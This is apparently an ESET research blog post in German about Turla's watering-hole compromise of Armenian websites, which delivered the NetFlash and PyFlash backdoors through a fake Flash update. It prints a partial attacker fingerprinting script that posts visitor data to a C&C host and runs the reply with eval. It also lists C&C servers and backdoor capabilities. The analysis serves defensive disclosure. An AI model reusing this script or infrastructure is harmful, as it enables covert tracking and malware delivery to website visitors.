ESET-Forscher sind auf eine Watering Hole Attacke (strategische Web-Kompromittierung) von Turla gestoßen, die mehrere hochkarätige armenische Webseiten anvisierte. Der Cyberangriff basiert auf einem gefälschten Adobe Flash Update und verbreitete zwei bisher undokumentierte Schadprogramme, die wir NetFlash und PyFlash tauften.

Verschiedene Indizien bezüglich der Malware-Kampagne deuten darauf hin, dass die Cyberattacken von der berüchtigten und mehr als zehn Jahre aktiven Cyber-Spionagegruppe Turla ausgehen. Zu den Hauptzielen gehören staatliche und militärische Einrichtungen. Wir berichteten bereits früher über Turla, wie zum Beispiel über die Kampagnen Mosquito und LightNeuron.

Die jüngste Operation weist einige Ähnlichkeiten zu anderen Turla Watering Hole Kampagnen auf, die wir in den vergangenen Jahren verfolgten. Insbesondere die Vorgehensweise gleicht einer von uns aufgedeckten Malware-Kampagne aus dem Jahr 2017. Verschiedene daraus stammende JavaScript Bestandteile sind nahezu identisch mit denen aus der aktuellen, auch wenn Angriffsziele und die Payload verschieden sind.

Von Turla anvisierte Webseiten

In der von uns jüngst untersuchten Kampagne, kompromittierte Turla mindestens vier armenische Webseiten – davon zwei von der Regierung. Wir gehen davon aus, dass die Ziele der Cyberkriminellen Regierungsbeamte und Politiker einschließen.

Aus den ESET-Telemetriedaten konnten wir erkennen, dass folgende Webseiten kompromittiert wurden:

  • armconsul[.]ru – Die Konsulatsabteilung der armenischen Botschaft in Russland
  • nkr[.]am – Armenisches Ministerium für Naturschutz und natürliche Ressourcen
  • aiisa[.]am – Das Armenische Institut für Internationales und Sicherheitsfragen
  • adgf[.]am – Der armenische Einlagensicherungsfond

Wir haben Hinweise darauf, dass diese Webseiten schon seit Anbeginn des Jahres 2019 kompromittiert sind. Lange bevor wir diesen Beitrag veröffentlichten, setzten wir das armenische National CERT über die Cyberattacken in Kenntnis und teilten unsere Analysen mit ihnen.

Die Turla-Betreiber nutzen unbekannte Zugriffsmethoden zu den Webseiten, um dort einen kleinen Teil schädlichen JavaScript-Code zu platzieren. Beispielsweise fügten die Cyberkriminellen verschleierten Code am Ende der jquery-migrate.min.js (gebräuchliche JavaScript-Bibliothek) ein, wie in Abbildung 1 zu sehen.

Abbildung 1: Verschleierter JavaScript-Code eingebettet in die mnp.nkr[.]am Webseite

Abbildung 1: Verschleierter JavaScript-Code eingebettet in die mnp.nkr[.]am Webseite

Dieser Code lädt ein externes JavaScript von skategirlchina[.]com/wp-includes/data_from_db_top.php. Wir erläutern diesen Code im nächsten Abschnitt.

Ende November des Jahres 2019 fiel uns auf, dass skategirlchina[.]com kein schädliches Script mehr auslieferte. Es ist wahrscheinlich, dass die Turla-Betreiber die Watering Hole Kampagne an dieser Stelle unterbrachen.

Fingerprinting und Malware-Verbreitung

Beim Besuch einer der kompromittierten Webseiten, wird das Second-Stage JavaScript von skategirlchina[.]com ausgeliefert und der Browser des Webseitenbesuchers mit einem Fingerprint markiert. Abbildung 2 erklärt die Hauptfunktionen des Scripts.

Führt der Browser des Besuchers das Script zum ersten Mal aus, setzt es einen evercookie mit einem scheinbar zufälligen MD5-Wert vom Server, der bei jeder Script-Ausführung verschieden ist. Die Implementierung des evercookies basiert auf einem auf GitHub zu findenden Code. Es verwendet mehrere Speicherorte wie die lokale Datenbank, lokal freigegebene Objekte (Flash-Cookies), Silverlight-Speicher usw., um den Cookie-Wert im System zu verewigen. Im Vergleich zum normalen Cookie ist ein evercookie sehr viel persistenter und nicht einfach über die Cookie-Löschfunktion im Browser zu entfernen.

Mit dem evercookie überprüfen die Turla-Betreiber, ob ein User eine kompromittierte Webseite wiederholt besucht. Kehrt ein User zurück, kann er mithilfe des eindeutigen MD5-Werts identifiziert werden.

Dann sammelt das Fingerprint-Script verschiedene Informationen, darunter befinden sich: eine Liste der Browser-Plugins, die Bildschirmauflösung und verschiedene Informationen zum Betriebssystem. Die Daten werden in einer POST-Request an den C&C-Server gesendet. Mit dem Erhalt einer Antwort geht man davon aus, dass es sich um JavaScript-Code handelt, der mit der eval-Funktion ausgeführt wird.

[…]
function f_ec(){
    var ec = new evercookie({domain:'http://skategirlchina[.]com/wp-includes/data_from_db_top.php',baseurl:'?http://skategirlchina[.]com/wp-includes/data_from_db_top.php'});
    ec.get("ec", function(value) {
        if (value!=undefined){
            var jsonText = {'ec': ''+value+'',
                            'scp':screen.pixelDepth==undefined?''+0+'':''+screen.pixelDepth+'',
                            'scw':''+screen.width+'',
                            'sch':''+screen.height+'',
                            'bn':''+bn+'',
                            'bv':''+bv+'',
                            'bc':''+bc+'',
                            'osn':''+osn+'',
                            'osv':''+osv+'',
                            'osc':''+osc+'',
                            'adr':''+adr+'',
                            'pdr':''+pdr+'',
                            'fla':''+fla+'',
                            'jav':''+jav+'',
                            'wmp':''+wmp+'',
                            'msw':''+msw+'',
                            'qui':''+qui+'',
                            'sho':''+sho+'',
                             'type':'info',
                            'tiz': ''+(new Date().getTimezoneOffset()/60)+''
                            };
                var json = JSON.stringify(jsonText);

                 ajax({
                content_type : 'application/json',
                url:  'http://skategirlchina[.]com/wp-includes/data_from_db_top.php?http://skategirlchina[.]com/wp-includes/data_from_db_top.php',
                crossDomain: true,
                type: 'POST',
                data: json,
                onSuccess: function(m){
                    eval(m);
                }
            });
        }
        else{
           ec.set('ec', '<redacted MD5 value>');
           setTimeout(f_ec,1500);
        }

Abbildung 2: Fingerprint-Script (bösartigen Code gekürzt)

Ist der Webseiten-Besucher von Interesse, antwortet der C&C-Server mit einem JavaScript-Code, welcher ein iframe generiert. ESET-Telemetriedaten weisen in dieser Kampagne darauf hin, dass nur eine kleine Anzahl von den Turla-Betreibern als interessant erachtet wurden.

Das iframe blendet eine falsche Adobe Flash Udpate Warnung ein (Abb. 3). Die Opfer sollen sich einen bösartigen Flash Installer auf das Computersystem ziehen.

Abbildung 3: Falsches Adobe Flash Update iframe

Abbildung 3: Falsches Adobe Flash Update iframe

Wir beobachteten keine Ausnutzung irgendwelcher Browser-Schwachstellen. Die Kompromittierung basiert allein auf dem Social Engineering Trick. Sobald die bösartige ausführbare Datei vom gleichen Server wie das JavaScript des iframes heruntergeladen und vom Benutzer manuell gestartet wird, werden eine Turla-Malware-Variante und ein legitimes Adobe Flash-Programm installiert.

Abbildung 4 gibt einen Überblick des Kompromittierungsprozesses, vom erstmaligen Besuchen der „infizierten“ armenischen Webseiten bis zur Ablieferung der schädlichen Payload.

Abbildung 4: Überblick über Turlas neue Watering Hole Attacke

Abbildung 4: Überblick über Turlas neue Watering Hole Attacke

Malware

Das Ausführen des falschen Adobe Flash Installers stößt wiederum zwei weitere Ausführungen an, die einer Turla Malware Variante und die eines legitimen Adobe Flash Installers. Gerade wegen dem zuletzt genannten könnten User davon ausgehen, dass alles mit rechten Dingen zuging.

Vor September 2019: Skipper

Bis Ende August des Jahres 2019 erhielten die Opfer ein RAR-SFX-Archiv, das den legitimen Adobe Flash v14 Installer enthielt, und einen zweites RAR-SFX-Archiv. Letzteres beinhaltete verschiedene Komponenten der Skipper Backdoor, die bereits früher Turla zugeordnet werden konnte. Die Hintertür wurde 2017 von Forschern von Bitdefender und eine neuere Version von Telsy im Mai 2019 dokumentiert.

Da es bloß geringfügige Änderungen zwischen den beschriebenen Versionen und den neuesten gibt, werden wir hier keine detaillierte Analyse liefern.

Eine interessante Änderung ist, dass das Skipper-Kommunikationsmodul den Server verwendet, der die Remote-JavaScripts und bösartigen Binärdateien dieser Kampagne für seinen C&C-Server hostet, insbesondere skategirlchina[.]com/wp-includes/ms-locale.php.

Mit September 2019: NetFlash und PyFlash

Ende August des Jahres 2019 bemerkten wir die Änderung der von skategirlchina[.]com ausgelieferten Payload.

NetFlash (.NET downloader)

Die neue Payload waren eine .NET Anwendung, die einen Adobe Flash v32 Installer nach %TEMP%\adobe.exe ablegte und NetFlash (ein .NET Download) nach %TEMP%\winhost.exe.

Entsprechend ihrer Kompilierungszeitpunkte wurden die Malware-Samples Ende August 2019 und Anfang September 2019 kompiliert, kurz bevor man sie auf den Watering Hole C&C-Server hochlud.

NetFlash lädt die Second-Stage Malware von einer festcodierten URL und erschleicht sich Persistenz für diese neue Backdoor mithilfe der Windows Task Funktion. Abbildung 5 zeigt die NetFlash-Funktion, welche die Second-Stage Malware namens PyFlash herunterlädt. Wir stießen auch auf ein anderes NetFlash Malware-Sample (wahrscheinlich Ende August 2019 kompiliert), mit einem anderen hartkodierten C&C-Server:  134.209.222[.]206:15363.

Abbildung 5: Hauptfunktion von NetFlash

Abbildung 5: Hauptfunktion von NetFlash

PyFlash

Diese Second-Stage Backdoor ist eine py2exe-Datei. py2exe ist eine Python-Erweiterung zur Umwandlung eines Python-Scripts in eine eigenständige Windows-Executable. Unseres Wissens nach ist es das erste Mal, dass die Turla-Entwickler Python Programmiersprache für eine Hintertür verwenden.

Die Hintertür kommuniziert via HTTP mit einer festcodierten C&C-Server-Adresse. Die C&C-URL und andere Parameter wie der AES-Schlüssel und IV, die zur Verschlüsselung der gesamten Netzwerkkommunikation verwendet werden, stehen am Anfang des Scripts, wie Abbildung 6 zeigt.

Abbildung 6: Globale Variablen im PyFlash-Python-Script

Abbildung 6: Globale Variablen im PyFlash-Python-Script

Die in Abbildung 7 dargestellte Hauptfunktion des Scripts sendet Informationen über den Computer an den C&C-Server. Das ist die Ausgabe der Funktionen aus der in Abbildung 6 dargestellten Befehlsliste. Sie enthält OS-bezogene Befehle (systeminfo, tasklist) und netzwerkbezogene Befehle (ipconfig, getmac, arp).

Abbildung 7. Hauptfunktion von PyFlash

Abbildung 7. Hauptfunktion von PyFlash

Der C&C-Server kann auch Backdoor-Befehle im JSON-Format senden. Die in dieser Version von PyFlash implementierten Befehle lauten:

  • Lade zusätzliche Dateien von einem bestimmten HTTP(S)-Link herunter.
  • Führe einen Windows-Befehl mit der Python-Funktion Popen aus
  • Ausführungsverzögerung ändern: Ändert die Windows-Task, die regelmäßig (alle X Minuten; standardmäßig 5) die Malware startet.
  • Beende (deinstalliere) die Malware. Zur Bestätigung dieser Anweisung sendet die Malware eine POST-Anforderung bestehend aus folgender Zeichenfolge an den C&C-Server:

I’m dying :(

Tell my wife that i love her…

Dann wird die Ausgabe des Befehls über eine mit AES verschlüsselte POST-Anforderung an die Turla-Betreiber zurückgeschickt.

Fazit

Eine der initialen Zugriffstaktiken bei Turla ist nach wie vor die Watering Hole Attacke. Interessanterweise basiert diese Malware-Kampagne auf einem gut bekannten Social Engineering Trick. Eine falsche Adobe Flash Update Warnung soll die anvisierten Ziele dazu bringen, Malware herunterzuladen und zu installieren.

Die Payload änderte sich aber. Skipper war seit mehreren Jahren im Einsatz und wegen Befürchtungen, entdeckt zu werden, setzten die Turla-Betreiber nun auf NetFlash. Diese installiert dann die eigentliche in Python geschriebene Backdoor PyFlash.

Wir beobachten Turlas Aktivitäten weiterhin und veröffentlichen relevante Informationen hier in unserem Blog. Bei Fragen zur Turla-Malware oder zur Einreichung von Malware-Samples steht die folgende E-Mail-Adresse zur Verfügung: threatintel@eset.com. Die IoCs finden Sie auch in unserem GitHub Repository.

Indicators of Compromise (IoCs)

Compromised websites

  • http://www.armconsul[.]ru/user/themes/ayeps/dist/js/bundle.0eb0f2cb2808b4b35a94.js
  • http://mnp.nkr[.]am/wp-includes/js/jquery/jquery-migrate.min.js
  • http://aiisa[.]am/js/chatem/js_rA9bo8_O3Pnw_5wJXExNhtkUMdfBYCifTJctEJ8C_Mg.js
  • adgf[.]am

C&C servers

  • http://skategirlchina[.]com/wp-includes/data_from_db_top.php
  • http://skategirlchina[.]com/wp-includes/ms-locale.php
  • http://37.59.60[.]199/2018/.config/adobe
  • http://134.209.222[.]206:15363
  • http://85.222.235[.]156:8000

Samples

SHA-1 Timestamp Description ESET Detection Name
973620A7AB28A2CBA82DC2A613CD24ED43734381 Thu Aug 29 04:14:46 UTC 2019 NetFlash Dropper MSIL/Turla.D
B6567F988C9ACC5DF3CBD72409FC70D54EA412BB Tue Sep 3 11:12:04 UTC 2019 NetFlash MSIL/Turla.D
9F81710B85AA7088505C1EECCE9DA94A39A2DC06 Thu Aug 29 04:12:33 UTC 2019 NetFlash MSIL/Turla.F
32430B11E42EDEB63A11E721927FFBABE7C9CFEA N/A PyFlash Win32/Turla.EM
620A669EC0451C9F079FB4731F254AC577902E5E Wed Aug 29 09:43:18 UTC 2018 Skipper communication DLL Win32/Turla.EJ

MITRE ATT&CK techniques

Tactic ID Name Description
Initial Access T1189 Drive-by Compromise Turla compromised high-value websites to deliver malware to the visitors.
Execution T1204 User Execution A fake Flash installer is intended to trick the user into launching the malware.
Persistence T1053 Scheduled Task NetFlash and PyFlash persist using scheduled tasks.
Discovery T1016 System Network Configuration Discovery PyFlash executes ipconfig /all, getmac and arp -a
T1057 Process Discovery PyFlash executes tasklist
T1082 System Information Discovery PyFlash executes systeminfo
Command and Control T1032 Standard Cryptographic Protocol PyFlash uses AES-128 in CBC mode to encrypt C&C communications.
T1043 Commonly Used Port NetFlash uses port 80.
T1065 Uncommonly Used Port PyFlash uses port 8,000.
A NetFlash sample uses port 15,363.
T1071 Standard Application Layer Protocol NetFlash and PyFlash use HTTP.
Exfiltration T1041 Exfiltration Over Command and Control Channel The output of PyFlash surveillance and C&C commands are exfiltrated using the C&C protocol.